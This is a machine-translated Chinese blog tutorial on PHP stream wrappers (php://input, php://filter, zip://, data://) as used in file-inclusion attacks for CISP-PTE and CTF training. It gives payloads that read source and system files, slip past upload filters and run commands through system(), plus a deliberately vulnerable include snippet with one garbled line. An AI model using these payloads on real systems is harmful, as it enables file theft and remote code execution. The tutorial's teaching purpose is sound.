当前位置:网站首页>Summary of PHP pseudo protocol of cisp-pte
Summary of PHP pseudo protocol of cisp-pte
2022-07-05 16:42:00 【Colorful @ star】
PHP Pseudo protocol summary
0x00 php://input
// All tests are allow_url_fopen=On,allow_url_include=On!!!
php://input It's a read-only stream that can access the requested raw data . POST In the case of a request , Best use php://input Instead of $HTTP_RAW_POST_DATA, Because it doesn't depend on specific php.ini Instructions . and , In this case $HTTP_RAW_POST_DATA The default is not filled , Than activate always_populate_raw_post_data Potentially requires less memory . enctype=”multipart/form-data” When php://input It's invalid .
——php.net
Simply put, get post data .
Test code :

The file contains variable command execution :
Test code :
<?php$d = file_get_contents(‘php://input’);
//echo d ; @ e v a l ( d; @eval( d;@eval(d)
?>
<?php @include($_GET[“file”]); ?>

Write a sentence :

0x01 php://filter
php://filter It's a meta wrapper , Designed for when data flow is open Screening filtration application . This is for the all-in-one (all-in-one) The file function of is very useful , similar readfile()、 file() and file_get_contents(), There is no chance to apply other filters before the data stream content is read .
——php.net
Simply put, we often use it base64 code , Such as
php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini”
A variety of filters can be used ( character string / transformation / Compress / encryption )
It is often used to read files / Source code :

0x02 zip://,bzip2://,zlib://
zlib: Similar function of gzopen(), however Its data flow can also be fread() And other file system functions . since PHP 4.3.0 The latter is not recommended to be used , Because it will be with others “:” Character file names are confused ; Please use compress.zlib:// As a substitute .
compress.zlib://、 compress.bzip2:// and gzopen()、bzopen() They are equal. . And it can be used when fopencookie Used in the system .
ZIP Expand registered zip: wrapper . since PHP 7.2.0 and libzip 1.2.0+ rise , Encryption archiving begins to support passwords , Allow passwords to be used in data streams . Byte stream context (stream contexts) Use in ‘password’ Option set password .
optional
- zlib://file.gz
- bzip2://file.bz2
- zip://archive.zip#dir/file.txt
——php.net
Simply put, it is to directly access the files in the compressed package .
1. zip://
take phpinfo.txt Compressed into zip, In practice, the suffix can be changed to jpg Bypass upload restrictions .
Pay attention to the absolute path +url code #

2. zlib://

Change suffix to jpg Yes , Relative path is also acceptable .
3. bzip2://
In the same way in zlib://
0x03 data://
data://text/plain;base64,

No addition // Yes .
Can also be used to read php File source code :
data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?>
Or command execution :
data:text/plain,<?php system(‘whoami’)?>
0x04 Conclusion
ctf We often use php Fake protocol , It may have miraculous effects in actual combat .

0x05 Reference material
https://www.waitalone.cn/php-file-include.html
www.freebuf.com/column/148886.html
http://php.net/manual/zh/wrappers.php
</article>
边栏推荐
- [深度学习][原创]让yolov6-0.1.0支持yolov5的txt读取数据集模式
- 不敢买的思考
- 用键盘输入一条命令
- 效果编辑器新版上线!3D渲染、加标注、设置动画,这次一个编辑器就够了
- Summary of methods for finding intersection of ordered linked list sets
- ES6 drill down - ES6 generator function
- 移动办公时如何使用frp内网穿透+teamviewer方式快速连入家中内网主机
- sqlserver 做cdc 要对数据库性能有什么要求么
- [echart] resize lodash to realize chart adaptation when window is zoomed
- Apple 已弃用 NavigationView,使用 NavigationStack 和 NavigationSplitView 实现 SwiftUI 导航
猜你喜欢

Seaborn绘制11个柱状图

Basic introduction to the control of the row component displaying its children in the horizontal array (tutorial includes source code)

养不起真猫,就用代码吸猫 -Unity 粒子实现画猫咪

Fleet tutorial 09 basic introduction to navigationrail (tutorial includes source code)

The new version of effect editor is online! 3D rendering, labeling, and animation, this time an editor is enough

Single merchant v4.4 has the same original intention and strength!

Flet教程之 11 Row组件在水平数组中显示其子项的控件 基础入门(教程含源码)

极坐标扇图使用场景与功能详解

OneForAll安装使用
![[team PK competition] the task of this week has been opened | question answering challenge to consolidate the knowledge of commodity details](/img/d8/a367c26b51d9dbaf53bf4fe2a13917.png)
[team PK competition] the task of this week has been opened | question answering challenge to consolidate the knowledge of commodity details
随机推荐
为季前卡牌游戏 MotoGP Ignition Champions 做好准备!
给自己打打气
用键盘输入一条命令
怎样在电脑上设置路由器的WiFi密码
Android 隐私沙盒开发者预览版 3: 隐私安全和个性化体验全都要
How to set the WiFi password of the router on the computer
帮忙看看是什么问题可以吗?[ERROR] Could not execute SQL stateme
Desci: is decentralized science the new trend of Web3.0?
10 minutes to help you get ZABBIX monitoring platform alarm pushed to nail group
OneForAll安装使用
记一次'非常诡异'的云安全组规则问题排查过程
Jarvis OJ Flag
JSON转MAP前后数据校验 -- 自定义UDF
Flet教程之 09 NavigationRail 基础入门(教程含源码)
The new version of effect editor is online! 3D rendering, labeling, and animation, this time an editor is enough
Google Earth Engine(GEE)——Kernel核函数简单介绍以及灰度共生矩阵
Cartoon: what is distributed transaction?
Get ready for the pre-season card game MotoGP ignition champions!
[echart] resize lodash 实现窗口缩放时图表自适应
How to install MySQL